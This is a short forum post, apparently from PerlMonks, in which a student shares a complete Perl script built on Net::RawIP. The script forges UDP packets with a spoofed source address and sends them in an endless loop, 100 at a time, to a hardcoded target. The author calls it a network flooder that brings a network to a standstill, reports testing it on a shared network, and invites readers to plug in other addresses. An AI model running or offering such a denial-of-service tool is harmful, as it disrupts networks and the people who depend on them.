its been a long time (um... very long time) since i lasted accessed perl monks..... i've been bit busy with my college work... increasing my GPA (am glad to say its reached 3.2/5) anyways.... so i came back to my best friends (C and perl) and as an inaugral lesson i learned the Net::RawIP module and made my network flooder..... it creates a packet storm bringing the network to an ultimate standstill.... it works.... i've tried it.... though my neighbours came and almost killed me after that.... :p

#!/usr/bin/perl
use Net::RawIP;
use strict;
use warnings;
my $rawpack=Net::RawIP->new({
                        ip=>{saddr=>"192.168.12.180",daddr=>"192.168.1
+0.12"},
                        udp=>{source=>80,len=>1000,data=>"hnd-ucb"}
                        }) or die "cannot create raw packet:$!\n";
#send or rather broadcast indefinitely 100 packets at a time
system("clear");
my ($count1,$count2)=0;
my($saddr,$daddr,$source,$len,$data)=$rawpack->get( {ip=>[qw (saddr da
+ddr)],
                udp=>[qw (source len data)]});
print "$saddr\n$daddr\n$source\n$len\n$data\n";
print "flooding\n";
sleep(5);
for(;;)
{
        $rawpack->send(0,100);
        $count1++;
        if($count1==10**5)
        {
                $count1=0;
                $count2++;
                print "$count2";
                system("clear");
        }
}
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the values of the saddr and daddr parameters are hardcoded (am sorry).... you can replace it with command line arguments or hardcode any other value..... leave me a post if this sux or something.... brrrrrrrrrreeeeeeee :D

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